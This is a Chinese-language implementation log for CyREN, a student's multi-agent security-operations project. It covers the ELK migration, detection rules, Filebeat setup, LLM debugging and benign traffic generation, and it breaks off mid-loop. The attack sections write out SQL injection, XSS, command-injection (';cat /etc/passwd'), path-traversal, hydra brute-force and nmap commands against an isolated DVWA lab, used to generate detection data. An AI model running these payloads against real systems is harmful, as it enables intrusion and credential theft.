

CyREN 项目完整实现记录 (Chapter 4 素材)

用途：报告 / 答辩 / Chapter 4 (Implementation) 。数据来源：docs/devlog.md （新旧两份）、两个仓库完整 git log、lab/ 全部脚本（attack_dvwa.sh / attack_multitool.sh / benign_traffic.sh / target_setup.sh / docker/）、.env.example、cyren/README.md、CLAUDE.md、迁移记忆，以及用户补充的实操命令历史（阶段 1-2 的 ELK 搭建/迁移/Filebeat）。

约定：叙述中文，代码/命令英文；每阶段含【做了什么 / 为什么 / 怎么做（可复制命令，逐条注明做什么·为什么·预期结果） / 踩过的坑与解决 / 验证结果】。全部命令与参数均为实际执行值（阶段 1-2 的 ELK/迁移/Filebeat 由用户按操作历史补齐、已核对）；无待填占位。

目录

- 0. 项目概览与总体架构
- 1. ELK Stack 搭建 + 从 SIEM VM 迁移到主机 Docker Desktop
- 2. 六种攻击检测（Kibana 规则 + Filebeat 配置）
- 3. 真实攻击工具（sqlmap / hydra / nmap, attack_dvwa.sh）
- 4. CyREN 四智能体 + 前端接 API + LLM(Groq) + 噪音过滤
- 5. 良性流量负样本（benign_traffic.sh）
- 6. filebeat 直取摄取模式
- 7. 多工具攻击（medusa / masscan + MASSCAN_ROUTER_MAC + iptables 持久化）
- 8. 真分布式容器攻击（Docker ipvlan L2）
- 附录 A: git 提交时间线 → 阶段映射
- 附录 B: 关键文件索引
- 附录 C: 完整 .env 配置项

0. 项目概览与总体架构

CyREN (multi-agent SOC automation) : 面向中小企业的开源多智能体 SOC 事件响应系统, 商业 SOAR 的低成本替代。读 ELK 告警/日志 → XGBoost 分诊 → LLM(Groq)+MITRE 调查 → NetworkX 重建攻击链 → 按风险分档响应 (iptables 封禁 + 邮件 + PDF) , uncertain 交人工。

从 **FYP1** 到 **FYP2**: FYP1 是已跑通的单体 Streamlit 原型 (存档 [legacy/](#)) ; FYP2 迁进 Flask 多智能体架构 ([cyren/](#)) , 并做 Web 化、数据真实化、检测/摄取/数据质量打磨, 以及 攻击多样性与 Agent 升级。

运行拓扑 (迁移后的最终形态)

```
Windows 11 主机
├─ Docker Desktop (WSL2) : docker-elk 栈 (Elasticsearch + Logstash + Kibana 9.3.3)
│   └─ ES :9200 / Kibana :5601 发布到主机
└─ CyREN (C:\cyren, venv) : ELASTICSEARCH_URL=http://localhost:9200

VirtualBox Host-Only 192.168.56.0/24 (主机侧网关 = 192.168.56.1)
├─ Target 192.168.56.101 : DVWA + Filebeat 8.19.15 (output → 192.168.56.1:9200)
└─ Kali (Host-Only + IP 别名/容器) : sqlmap/hydra/nmap/masscan/medusa/curl
```

数据流

```
攻击工具 → DVWA(Target) → Filebeat → ES —siem_service(filebeat 直取)→
enrich(threat/asset/vuln, 0-token) → Triage(XGBoost 5 特征, 三档) →
    low→Response(记录) / high|uncertain→Investigation(MITRE+Groq)→Correlation(kill-chain)→Response(封禁/审批+邮件+PDF)
→ event_service 持久化 → Flask API → Dashboard(10s 自动刷新)
```

两个仓库: OneDrive 旧仓库 (07-17 ~ 07-19 骨架期, 只读存档) ; C:\cyren (07-19 起 现行仓库, 标签 `baseline-pre-upgrade` 标记 FYP2 升级前 baseline, `feat/upgrade` 承载升级) 。

1. ELK Stack 搭建 + 从 SIEM VM 迁移到主机 Docker Desktop

1.1 做了什么 / 为什么

ELK 最初跑在 **SIEM-Server VM** 里，后来迁到 **Windows 11 主机的 Docker Desktop (WSL2 后端)**，路径 `C:\docker-elk` (deviantony/docker-elk, ES/Kibana 9.3.3, Filebeat 8.19.15)。

- **为什么迁**：① 论文 Chapter 1 就把 SIEM 定在主机；② 迁移前 ELK 在 VM 里把磁盘撑满、触发 ES flood-stage 只读、集群 red (见 1.2)；③ 腾出 VM 资源。

网络：VirtualBox **Host-Only + NAT 双网卡**。SIEM-Server = Adapter1(NAT) + Adapter2(Host-Only 192.168.56.103)；Target = 192.168.56.101；Kali = Host-Only + IP 别名。迁移后 ELK/CyREN 在主机，Target 的 Filebeat 把 output 从"指向 SIEM VM"改成"指向主机 192.168.56.1" (Host-Only 网关 = 主机)。

1.2 迁移前：SIEM VM 磁盘满 → LVM 扩容 + 解只读锁

ES 数据增长使磁盘达 **96%**，触发 `flood stage disk watermark [95%]`，索引被置只读、集群变 red。虚拟盘本是 50G 但只分了 24G，故扩容 LV。

```
# 做什么：把逻辑卷 ubuntu-lv 扩到卷组所有剩余空间 (24G → 48G)
# 为什么：ES 磁盘 96% 触发 flood-stage 只读；VG 里还有未分配空间
# 预期："Size of logical volume ubuntu-vg/ubuntu-lv changed ... (48.xx GiB)"
sudo lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv

# 做什么：让 ext4 文件系统识别扩大后的 LV
# 预期："The filesystem ... is now N blocks long."
sudo resize2fs /dev/ubuntu-vg/ubuntu-lv
```

说明：本次**未执行** `growpart / pvresize` ——因为 LVM 卷组 `ubuntu-vg` 里本就有 足够空闲空间 (安装时未把分区全部分给 LV)，直接 `lvextend -l +100%FREE` 即可，无需先扩分区/PV。

```
# 做什么：解除 ES 因磁盘满自动加的全索引只读锁
# 为什么：扩容后索引仍是 read_only_allow_delete=true，不解锁 ES 仍拒写
# 预期：{"acknowledged":true}；集群从 red/yellow 恢复 green
curl -u elastic:<ELK_PASSWORD> -X PUT "http://localhost:9200/_all/_settings" \
-H "Content-Type: application/json" \
-d '{"index.blocks.read_only_allow_delete": null}'
```

1.3 迁移：Guest Additions 装共享文件夹，把配置/规则拷到主机

装在 **SIEM-Server VM**，为了用 VirtualBox 共享文件夹把 docker-elk 配置和检测规则从 VM 拷到 Windows 主机。

先在 VirtualBox 菜单 **Devices** → **Insert Guest Additions CD image** 插入光盘，然后：

```
# 做什么：装编译 Guest Additions 内核模块所需的头文件/工具
# 为什么：VBoxLinuxAdditions.run 要现场编译内核模块 (dkms)
sudo apt install -y build-essential dkms linux-headers-$(uname -r)

# 做什么：挂载 Guest Additions 光盘并运行安装器
sudo mkdir -p /mnt/cdrom
sudo mount /dev/cdrom /mnt/cdrom
sudo /mnt/cdrom/VBoxLinuxAdditions.run

# 做什么：把当前用户加入 vboxsf 组 (访问共享文件夹的权限)
# 预期：重启后 /media/sf_<share> 可读写
sudo adduser $USER vboxsf
sudo reboot
```

1.4 主机 Docker Desktop 起 docker-elk

在 Windows 主机 (Docker Desktop / WSL2) , 路径 `C:\docker-elk` :

```
# 做什么: 克隆 docker-elk 栈到主机
# 为什么: 用 compose 一键起 ES+Logstash+Kibana, 可复现、替代 VM 里的 ELK
git clone https://github.com/deviantony/docker-elk.git C:\docker-elk
cd C:\docker-elk

# 做什么: 初始化 (生成 keystore、内置用户、证书) -- docker-elk 8/9 的首启流程
# 预期: setup 容器跑完退出, 打印各内置用户初始化完成
docker compose up setup

# 做什么: 后台起 elasticsearch + logstash + kibana (9.3.3)
# 预期: docker compose ps 三个服务 healthy; http://localhost:9200 可访问
docker compose up -d
```

docker-elk 默认密码是其 `.env` 里的 `changeme` (下一步改掉)。ES :9200、Kibana :5601 由 compose 发布到主机。

1.5 ES 密码重置 (改密码 API, 非 reset-password 命令)

新实例默认 `elastic/changeme`。用 PowerShell 的 `Invoke-RestMethod` 调改密码 API 把 `elastic` 和 `kibana_system` 都改成 `<ELK_PASSWORD>` (与 `kibana.yml` 对齐)。

```
# 做什么: 用默认 changeme 凭据, 调 _password API 把 elastic 密码改成 <ELK_PASSWORD>
# 为什么: 统一到项目密码; CyREN 的 .env 和 Filebeat 都用 elastic/<ELK_PASSWORD>
# 预期: 无报错返回; 之后需用新密码认证
$pair = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("elastic:changeme"))
Invoke-RestMethod -Uri "http://localhost:9200/_security/user/elastic/_password" `
  -Method Post -Headers @{Authorization="Basic $pair"} `
  -ContentType "application/json" -Body '{"password":"<ELK_PASSWORD>"}'

# 做什么: 同样把 kibana_system 改成 <ELK_PASSWORD> (用刚改好的 elastic 认证)
# 为什么: Kibana 连 ES 用的是 kibana_system, 要与 kibana.yml 里配置一致
$pair = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("elastic:<ELK_PASSWORD>"))
Invoke-RestMethod -Uri "http://localhost:9200/_security/user/kibana_system/_password" `
  -Method Post -Headers @{Authorization="Basic $pair"} `
  -ContentType "application/json" -Body '{"password":"<ELK_PASSWORD>"}'
```

验证密码生效:

```
# 预期: 返回 JSON 且 version.number = "9.3.3"
curl.exe -u elastic:<ELK_PASSWORD> http://localhost:9200
```

1.6 检测规则: ndjson 导出/导入

6 条检测规则从旧 SIEM VM 的 Kibana 导出成 ndjson, 再在主机 Kibana 导入:

- **导出** (旧 Kibana) : Security → Rules → Detection rules → 全选 → Bulk actions → Export → 得到 `rules_export.ndjson` (含 6 条规则, 存于 `lab/`)。
- **导入** (主机 Kibana) : Security → Rules → Import rules → 选 `rules_export.ndjson`。
- 导入后把规则 query 从 "payload 关键词匹配" 改成 "**URL 路径匹配**" (如 `host.name: "target-server" and message: "vulnerabilities/sqli"`, 原因见 §2)。

1.7 VM 网络 (Host-Only + NAT 双网卡)

VirtualBox 适配器层: SIEM-Server = Adapter1(NAT, 出外网/更新) + Adapter2(Host-Only 192.168.56.103); Target = 192.168.56.101; Kali = Host-Only + IP 别名。

Target VM 的 netplan (`/etc/netplan/00-installer-config.yaml` , 两网卡均 DHCP) :

```
# enp0s3 = NAT 网卡(上网); enp0s8 = Host-Only 网卡(内网攻击面, 得到 192.168.56.101)
network:
  ethernet:
    enp0s3:
      dhcp4: true
      dhcp6: true
      match:
        macaddress: 08:00:27:fd:f0:03
      set-name: enp0s3
    enp0s8:
      accept-ra: true
      dhcp4: true
      dhcp6: true
  version: 2
```

注: Target 的 Host-Only 地址 192.168.56.101 是经 DHCP 获得 (VirtualBox Host-Only DHCP 开着)。因此 \$8 的分布式容器静态 IP (.120-.135) 必须避开该 DHCP 地址池, 避免撞车。

1.8 遇到的问题和解决

问题	解决
ES 磁盘 96% → flood-stage 只读、集群 red	LVM 扩容 (lvextend -l +100%FREE + resize2fs) + 解只读锁 (PUT _all/_settings read_only_allow_delete=null)
ELK 在 VM 里吃资源、难复现	迁到主机 Docker Desktop 的 docker-elk (compose 一键起停), SIEM 回到 Chapter 1 设定的主机
新实例默认密码 changeme, 与项目不一致	改密码 API 把 elastic/kibana_system 都改成 <ELK_PASSWORD>
迁移后 Target 的 Filebeat 仍指向旧 SIEM VM	output.elasticsearch 改指主机 192.168.56.1:9200 (Host-Only 网关 = 主机)
要把 VM 里的 docker-elk 配置/规则搬到主机	装 Guest Additions 用共享文件夹拷贝

1.9 验证结果

```
curl.exe -u elastic:<ELK_PASSWORD> http://localhost:9200 # version 9.3.3
curl.exe -u elastic:<ELK_PASSWORD> http://localhost:9200/_cluster/health # status green
```

- Kibana http://localhost:5601 可登录, Security → Rules 见 6 条导入的规则。
- Target 的 Filebeat 指向 192.168.56.1:9200 后, filebeat* 索引持续进日志。

2. 六种攻击检测（Kibana 规则 + Filebeat 配置）

2.1 做了什么 / 为什么

配六条 Kibana 检测规则 + Target 上 Filebeat 采集，让六种真实攻击都在 ELK 产生可检测 信号。**关键决策：规则匹配 URL 路径而非 payload 关键词**——Apache 日志里 payload 是 URL 编码的（`UNION SELECT` → `UNION%20SELECT`），ES 标准分词在 `%20` 断词，`match_phrase "UNION SELECT"` 匹配不上；改匹配 URL 路径（日志里永远明文），配合真实 sqlmap 注入流量，命中的确是真攻击。

2.2 六条检测规则（Kibana Detection Rules, KQL）

规则	类型	Query
SQL Injection Detected	query	<code>host.name: "target-server" and message: "vulnerabilities/sqli"</code>
XSS Attack Detected	query	<code>host.name: "target-server" and message: "vulnerabilities/xss_r"</code>
Command Injection Detected	query	<code>host.name: "target-server" and message: "vulnerabilities/exec"</code>
File Inclusion Detected	query	<code>host.name: "target-server" and message: "vulnerabilities/fi"</code>
SSH Brute Force Detected	threshold (host.name ≥ 5)	<code>host.name: "target-server" and message: "Failed password"</code>
Port Scan Detected	query	<code>host.name: "target-server" and message: "PORTSCAN"</code>

- 规则用 `from: now-90s`（只对新日志告警），改规则后需**重新发起攻击**才产生告警。
- SSH 用 **threshold** 类型（同 `host.name ≥ 5` 次 Failed password 才告警）。

2.3 Target 上的 Filebeat 配置

启用系统 + apache 模块，并采集 5 个日志路径，output **直连主机 ES**（不走 Logstash）：

```
# 做什么：启用 system + apache 模块（解析 auth.log / apache 访问日志）
# 预期：filebeat modules list 里 system、apache 为 enabled
sudo filebeat modules enable system apache
sudo systemctl restart filebeat
```

完整 `filebeat.yml`（Target，迁移后 output 指向主机 `192.168.56.1`）：

```
# 做什么：采集 5 个日志文件，直发主机 ES；为什么：覆盖 web/auth/kernel(PORTSCAN)
filebeat.inputs:
- type: filestream
  id: syslog
  paths: [/var/log/syslog]
- type: filestream
  id: auth
  paths: [/var/log/auth.log] # SSH Failed password (暴破规则)
- type: filestream
  id: apache-access
  paths: [/var/log/apache2/access.log] # DVWA 攻击路径 (sql/xss/exec/fi)
- type: filestream
  id: kernlog
  paths: [/var/log/kern.log] # iptables PORTSCAN (端口扫描规则)
- type: filestream
  id: apache-error
  paths: [/var/log/apache2/error.log]
output.elasticsearch:
  hosts: ["http://192.168.56.1:9200"] # 迁移后：主机；迁移前是 SIEM VM
  username: "elastic"
  password: "<ELK_PASSWORD>"
setup.kibana:
  host: "http://192.168.56.1:5601"
```

应用配置：

```
# 做什么：重启 Filebeat 让新配置生效；预期：filebeat* 索引出现对应日志
sudo systemctl restart filebeat
sudo filebeat test output # 预期："talk to server ... OK"
```

2.4 端口扫描留痕 (Target 的 iptables, 详见 \$7 持久化)

nmap/masscan 本身不写靶机日志，Port Scan 规则无从匹配，故在 Target 加 iptables 规则，对扫描式 SYN 突发打 `--log-prefix "PORTSCAN "` (写入 kern.log, 被 Filebeat 采)。命令见 \$7.4 (lab/target_setup.sh)。

2.5 遇到的问题和解决

问题	解决
payload URL 编码, match_phrase "UNION SELECT" 匹配不上	规则改匹配 URL 路径 (vulnerabilities/sqli 等, 永远明文)
nmap 扫描不写日志, Port Scan 规则无匹配对象	Target 加 iptables PORTSCAN 日志前缀 + Filebeat 采 kern.log
SSH 一条条告警太吵	用 threshold 规则 (host.name ≥5 才告警)
规则 from: now-90s 只对新日志	改规则后重新打攻击才产生告警

2.6 验证结果

- Kibana Security → Alerts 可见六条规则名 (发起对应攻击后)。
- filebeat* 里能查到 apache access、auth.log、kern.log 的原始日志。

3. 真实攻击工具 (sqlmap / hydra / nmap, lab/attack_dvwa.sh)

3.1 做了什么 / 为什么

用业界标准工具对隔离 DVWA 产生六种真实攻击，让告警来自真攻击而非手写假 payload（论文主张“工业标准工具模拟攻击”，且分类器需要真实攻击特征）。三攻击者 IP 别名：.104 SQLi+FI / .150 XSS+CmdInj / .151 SSH+Scan。

3.2 前置与运行

```
# 做什么：装四个攻击工具；为什么：脚本缺任一即拒跑
sudo apt install -y sqlmap hydra nmap curl

# 做什么：发起全部六种攻击（需 root：要加 IP 别名 + 改路由源地址）
# 预期：六种攻击流量发出，Kibana 出六条规则告警，CyREN 出三源事件
sudo IFACE=eth0 TARGET=192.168.56.101 ./attack_dvwa.sh

# 单项 / 跳过确认
sudo ./attack_dvwa.sh --only ssh          # sqli|xss|cmd|fi|ssh|scan
sudo ./attack_dvwa.sh --yes
```

3.3 源 IP 别名（每阶段统一控制源地址）

```
# 做什么：给攻击者网卡加一个别名 IP；为什么：让 CyREN 看到多个攻击源、能建链
ip addr add "192.168.56.104/24" dev eth0

# 做什么：把发往 target 的流量的源地址固定为该别名
# 为什么：sqlmap/hydra/nmap -sT 都走 OS socket 栈，一条路由改法统一控制，无需各工具单独 bind
ip route replace "192.168.56.101" dev eth0 src "192.168.56.104"
```

3.4 六种攻击的实际命令（脚本内真实命令）

```
# --- SQLi: sqlmap 真实 boolean/error/UNION 注入（源 .104） ---
# 做什么：对 sqlmap 模块 id 参数做 BEU 三类注入并枚举数据库
# 为什么：产生真实注入流量（非页面访问），命中 vulnerabilities/sqlmap 路径规则
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqlmap/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=$DVWA_SID; security=low" \
  --batch --flush-session --level=2 --risk=2 --technique=BEU --dbs --threads=2

# --- File Inclusion: curl 路径穿越（源 .104） ---
for p in "../..../etc/passwd" "../../../../etc/passwd" "/etc/passwd" \
  "http://127.0.0.1/dvwa/robots.txt"; do
  curl -s -b "$COOKIE_JAR" -o /dev/null \
    "http://192.168.56.101/dvwa/vulnerabilities/fi/?page=$p"
done

# --- XSS(reflected): curl 真实 <script> payload（源 .150） ---
for p in "<script>alert(1)</script>" "<img src=x onerror=alert(document.domain)>" \
  "<svg/onload=alert(1)>"; do
  curl -s -b "$COOKIE_JAR" -o /dev/null -G \
    --data-urlencode "name=$p" --data "Submit=Submit" \
    "http://192.168.56.101/dvwa/vulnerabilities/xss_r/"
done

# --- Command Injection: curl shell 元字符 payload（源 .150） ---
for p in "127.0.0.1;id" "127.0.0.1|whoami" "127.0.0.1&&uname -a" \
  "127.0.0.1;cat /etc/passwd"; do
  curl -s -b "$COOKIE_JAR" -o /dev/null \
    --data-urlencode "ip=$p" --data "Submit=Submit" \
    "http://192.168.56.101/dvwa/vulnerabilities/exec/"
done

# --- SSH Brute Force: hydra（源 .151） ---
# 做什么：用密码表爆破 sysadmin；为什么：>5 次 Failed password 触发 threshold 规则
# 预期：无有效登录（返回非零正常）；auth.log 出 "Failed password ... from 192.168.56.151"
hydra -l "sysadmin" -P "$PASSLIST" -t 4 -f -o /dev/null "ssh://192.168.56.101"

# --- Port Scan: nmap TCP connect（源 .151） ---
# 做什么：-sT 连接扫描 1-1000 端口；为什么：走 OS socket 栈，遵守 ip route 源地址
# 预期：触发 target iptables PORTSCAN 日志（SRC=192.168.56.151）
nmap -sT -p 1-1000 --min-rate 400 -Pn "192.168.56.101"
```

DVWA 登录（脚本自动做，攻击前需 security=low）：

```
# 做什么：抓 CSRF token → 登录 → 把 security 降到 low；为什么：漏洞模块需登录且 low 级
t=$(curl -s -c "$COOKIE_JAR" "http://192.168.56.101/dvwa/login.php" | grep -oP
"user_token"'^>]*value='\K[0-9a-f]+") | head -1)
curl -s -b "$COOKIE_JAR" -c "$COOKIE_JAR" -o /dev/null \
  --data "username=admin&password=password&Login=Login&user_token=$t" \
  "http://192.168.56.101/dvwa/login.php"
```

3.5 遇到的问题和解决

问题	解决
payload URL 编码使关键词规则失效	规则改匹配 URL 路径（\$2）
各工具源地址难统一	ip route replace <target> src <alias> 一处控制（OS socket 栈工具全遵守）
nmap 扫描无日志	Target iptables PORTSCAN 前缀（\$7）

3.6 验证结果

- `bash -n lab/attack_dvwa.sh` 语法通过；实机端到端跑通。
 - Kibana 出六条规则告警；CyREN 出 .104/.150/.151 三源事件；带 payload SQLi → confidence 0.94 → high → 自动封禁 + PDF。
-

4. CyREN 四智能体 + 前端接 API + LLM(Groq) + 噪音过滤

4.1 四智能体架构 (2026-07-17 迁移, 7 步)

enrich(threat/asset/vuln, 0-token) → Triage(XGBoost) → Investigation(Groq+MITRE) → Correlation(NetworkX) → Response(iptables+邮件+PDF), LangGraph 编排, low 档跳过 investigation。持久化 event_service (Event 按 (source_ip, rule) 去重合并), 后台 scheduler 轮询。

4.2 起项目 / 训练 / 运行

```
# 做什么: 建 venv 装依赖; 预期: 依赖装好 (本机 Python 3.14, 部分包走 fallback)
python -m venv venv
venv\Scripts\python.exe -m pip install -r requirements.txt

# 做什么: 生成 demo 用户/数据; 预期: analyst01/manager01 建好
venv\Scripts\python.exe scripts\seed.py

# 做什么: 训练 XGBoost 分诊模型 (5 特征); 预期: data/models/triage_xgb.json + rule_map.json
venv\Scripts\python.exe scripts\train_triage.py

# 做什么: 起 Web 应用; 预期: http://localhost:5000, 登录 analyst01 / Analyst@2026
cd cyren && venv\Scripts\python.exe run.py
```

Triage 的 5 特征: [rule_encoded, risk_score, severity_num, has_keyword, request_count], binary:logistic 输出 TP 概率 = confidence, 三档路由 (≥HIGH / ≤LOW / 中间 uncertain)。

4.3 前端接真实 API + 实时刷新

- 登录真调 POST /api/login 建 Flask session; 全页面 (Events/Detail/Approval/Chain/Blocked/Reports/Users/Profile) 接真 API; 每事件按需 PDF (报告格式版本号 REPORT_FORMAT_VERSION="v2" 写进文件名, bump 即全部重出)。
- 实时刷新: scheduler 轮询 60s→15s (.env POLL_INTERVAL_SECONDS=15); 前端 refreshActive() 每 10s 刷当前页; header "updated HH:MM:SS" LIVE 指示器。

4.4 LLM(Groq) 排障——三层串联问题 (关键踩坑)

报告里一直是占位符而非真实 AI 分析, 逐层排查发现与 chromadb/GraphRAG 无关, 是三个问题串联, 且都被 except ImportError 静默吞掉:

```
# 层1: import groq 失败 (No module named 'pydantic_core._pydantic_core', venv 编译扩展坏)
# 做什么: 强制重装 pydantic 修复 pydantic-core 本地扩展
venv\Scripts\python.exe -m pip install --force-reinstall pydantic==2.13.4

# 层2: groq 0.11 与 httpx 0.28 不兼容 (unexpected keyword 'proxies'), 且发生在模块级实例化 → 整个 app 导入崩
# 做什么: 升级 groq 到 1.5.0
venv\Scripts\python.exe -m pip install --upgrade groq

# 层3: 配置的模型 llama-4-scout 已下架 (404 model_not_found)
# 做什么: 改 .env GROQ_MODEL, 先 70b 后因额度改默认 8b-instant
# GROQ_MODEL=llama-3.1-8b-instant

# 附带: 之前 Pillow _imaging / scipy 扩展坏 (同类问题), 也强制重装
venv\Scripts\python.exe -m pip install --force-reinstall --no-cache-dir pillow==11.3.0
venv\Scripts\python.exe -m pip install --force-reinstall --no-cache-dir scipy
```

诊断/重跑工具:

```
# 做什么：逐项检查 groq 包/key/客户端/可用模型/真实调用；预期：六项 OK, "LLM analysis is working."
venv\Scripts\python.exe scripts\check_llm.py

# 做什么：对库中已有事件重跑 investigation，替换占位分析并删旧报告（下次自动重生）
venv\Scripts\python.exe scripts\reanalyse_events.py
```

工程改进（根因）：让这类失败不再静默——import/构造/调用失败都记录具体异常并写入 `agent.llm_status` / `llm_summary.llm_error`，报告显示 "AI analysis unavailable: <原因>"。省 token：默认模型 `llama-3.1-8b-instant`（免费额度大、独立配额）、压缩 prompt（空富化字段不塞、日志 5→3 条截断 180 字符、每字段 1–2 句）、`GROQ_MAX_TOKENS=500`、low 档不调 LLM。

4.5 噪音 IP 过滤

```
# .env：源 IP 黑名单（提取源 IP 后、聚合成事件前丢弃），逗号分隔支持 CIDR
# SOURCE_IP_BLACKLIST=127.0.0.0/8, ::1, 192.168.56.1, 10.0.2.2

# 做什么：清掉黑名单生效前已入库的噪音事件（连同报告/决策/封禁）
# 为什么：主机网关 127.0.0.1/192.168.56.1、NAT 网关 10.0.2.2 被误当攻击源
venv\Scripts\python.exe scripts\purge_blacklisted_events.py --dry-run
venv\Scripts\python.exe scripts\purge_blacklisted_events.py
```

4.6 验证结果

- `pytest` 5 个全过（贯穿全程，每次改核心流水线前后都跑）。
 - 端到端：带 payload SQLi→0.94→high→封禁+PDF；无 payload 单条→0.09→low→记录。
 - `check_llm.py` 六项 OK；`reanalyse_events.py` 重跑事件均为真实分析。
 - `_is_blacklisted`：127.0.0.1 / 192.168.56.1 / 10.0.2.2 →True，.104/.150/.151 →False。
-

5. 良性流量负样本 (lab/benign_traffic.sh)

5.1 做了什么 / 为什么

论文要求训练集“含真威胁 + 良性流量以区分真/假阳性”，但此前只有攻击流量。良性流量从 专用 IP **192.168.56.160** 打，且故意访问同样的漏洞演示页（同路径、无 payload、人类节奏）——路径规则会告警，但这正是需要的**假阳性负样本**。

5.2 前置与运行

```
# 做什么：SSH 良性登录需要 sshpass (web 部分不需要)
sudo apt install -y sshpass

# 做什么：生成良性 web 流量 (20 轮)；预期：.160 的正常浏览 + 合法漏洞页访问进 ELK
sudo IFACE=eth0 TARGET=192.168.56.101 ./benign_traffic.sh

# 做什么：加量 / 加正常 SSH 登录 (需 target 真实账号)
sudo ROUNDS=40 ./benign_traffic.sh
sudo SSH_USER=labuser SSH_PASS=Labpass123 ./benign_traffic.sh --only ssh
```

5.3 三类良性流量 (脚本内真实命令)

```
# 源 IP 别名 .160 (专用良性源，便于按 IP 打 benign 标签)
ip addr add "192.168.56.160/24" dev eth0
ip route replace "192.168.56.101" dev eth0 src "192.168.56.160"

# 1) 基线浏览：不匹配任何规则 → 纯正常日志 (带 Firefox UA + 1-4 秒人类停顿)
UA="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0"
curl -s -A "$UA" -b "$COOKIE_JAR" -o /dev/null "http://192.168.56.101/dvwa/index.php"

# 2) 合法使用漏洞演示页 (同路径，无 payload → 假阳性负样本)
curl -s -A "$UA" -b "$COOKIE_JAR" -o /dev/null \
    "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" # 查 id 1
curl -s -A "$UA" -b "$COOKIE_JAR" -o /dev/null -G \
    --data-urlencode "name=John" --data "Submit=Submit" \
    "http://192.168.56.101/dvwa/vulnerabilities/xss_r/" # 问候 John，无 script
curl -s -A "$UA" -b "$COOKIE_JAR" -o /dev/null \
    --data-urlencode "ip=127.0.0.1" --data "Submit=Submit" \
    "http://192.168.56.101/dvwa/vulnerabilities/exec/" # ping 本地，无 ;|&
curl -s -A "$UA" -b "$COOKIE_JAR" -o /dev/null \
    "http://192.168.56.101/dvwa/vulnerabilities/fi/?page=include.php" # 打开正常页

# 3) 正常 SSH：正确密码 → 日志是 Accepted password，不触发爆破规则
sshpass -p "$SSH_PASS" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=8 \
    "$SSH_USER@192.168.56.101" 'whoami; uptime; ls -la ~ >/dev/null; echo ok'
```

说明：本次实验**未启用良性 SSH**—— labuser 账号未创建、sshpass 未配， benign_traffic.sh 实际只跑了良性网页流量（上面的 SSH 段是脚本能力，未执行）。因此良性负样本全部来自**良性网页流量**（.160 的 baseline 浏览 + 合法漏洞页访问）。

5.4 验证结果

- `bash -n lab/benign_traffic.sh` 语法通过；良性**网页**流量实机端到端跑通。
- CyREN 出现 .160 的事件；.160 的 SQL/XSS/FI/CmdInj (低计数、无 payload) 作干净负样本。
- 良性 SSH 未启用 (labuser 未建)，本次负样本仅来自良性网页流量。

6. filebeat 直取摄取模式

6.1 做了什么 / 为什么

早期 `siem_service` 只查 Kibana 告警索引 `.alerts-security.alerts-default`，完全依赖 Kibana 检测引擎先把日志变告警。症状：只有 3 种攻击 / 抓一次不再更新 / SSH 的 `source_ip` 是 `unknown` / 良性 **.160 永远进不了库**（检测引擎停了、.160 日志在 filebeat 但告警索引 0 条提到它）。故改为 CyREN 自己拿规则 query 去 **filebeat 直取匹配**。

6.2 配置与命令

```
# .env 关键项
# INGEST_MODE=filebeat          # filebeat(默认) | alerts(旧行为) | both
# FETCH_WINDOW_HOURS=168       # 抓取窗口 24→168, 防实验数据滑出窗口
# FILEBEAT_MAX_DOCS=3000       # 每规则每轮拉取封顶

# 做什么：干跑回填历史告警，看会摄取什么（不写库）
# 预期：列出各规则各源 IP 的事件计数
venv\Scripts\python.exe scripts\backfill_events.py --hours 168 --dry-run

# 做什么：实际回填
venv\Scripts\python.exe scripts\backfill_events.py --hours 168
```

6.3 关键代码改动

- `INGEST_MODE=filebeat`： `_rule_defs()` 从 Kibana 读 enabled 规则定义（读不到用 `_FALLBACK_RULES`）， `_query_filebeat()` 拿这些 query 去 `filebeat*` 匹配、提取源 IP、过黑名单、聚合。
- `_kql_to_lucene()`： Kibana query 是 KQL（小写 and）， ES query_string 是 Lucene（小写 and 当普通词）→ 只把**引号外**的 and/or/not 转大写。
- `threshold` 回查源 IP（ `_enrich_from_source_logs` ） + `_FROM_IP_RE`（ sshd "from " ）。
- 去重 `_is_new_activity`： `log_count` 增长 **或** `last_seen` 推进 都重分析。
- 采样把含 payload 的日志行排前面，配合 `has_attack_keyword()`（URL 解码后匹配）。

6.4 遇到的问题和解决

问题	解决
KQL 小写 and 被 Lucene 当普通词 → 查询匹配几乎所有日志、全归 .104	<code>_kql_to_lucene()</code> 只转引号外 and/or/not
filebeat 单规则可能上万条	<code>FILEBEAT_MAX_DOCS=3000</code> 封顶
threshold 告警不带源 IP	用规则 query + 时间窗回查原始日志取最多的 IP
滑动窗口下老告警滑出、log_count 持平被漏	去重改为 count 增长或 last_seen 推进

6.5 验证结果

- `pytest` 5 全过； backfill 后 SSH 的 `source_ip` 从 `unknown` → 192.168.56.104。
- filebeat 模式实测 21 个聚合，源 = .104/.150/.151/**.160**，各源各规则计数真实区分。

7. 多工具攻击 (medusa / masscan + MASSCAN_ROUTER_MAC + iptables 持久化)

7.1 做了什么 / 为什么

lab/attack_multitool.sh：同类攻击的多工具变体，从 3 个新源 IP 驱动，配合 attack_dvwa.sh 凑齐 6 个攻击者 IP，让分类器见到同类攻击的多种签名。

新 IP	手法	工具	与现有区别
.105	SQLi	手写 curl (UNION/boolean/error/time-based)	请求少、无 sqlmap UA
.152	SSH 爆破	medusa	不同工具/速率 (vs hydra)
.161	端口扫描	masscan (高速率)	raw socket (vs nmap)

7.2 前置与运行

```
# 做什么：装 medusa + masscan (脚本缺则跳过该阶段，不硬失败)
sudo apt install -y medusa masscan

# 做什么：发起三种多工具攻击；预期：.105/.152/.161 三新源进 CyREN
sudo IFACE=eth0 TARGET=192.168.56.101 ./attack_multitool.sh
sudo ./attack_multitool.sh --only scan          # sqli|ssh|scan
```

7.3 三种工具的实际命令

```
# --- 手写 SQLi (curl, 源 .105): 真实注入串, 签名不同于 sqlmap ---
for p in "1" UNION SELECT user,password FROM users-- -" "1" OR '1'='1" \
        "1" AND 1=1-- -" "1" AND 1=2-- -" \
        "1" AND extractvalue(1,concat(0x7e,(SELECT version())))-- -" \
        "1" AND SLEEP(3)-- -"; do
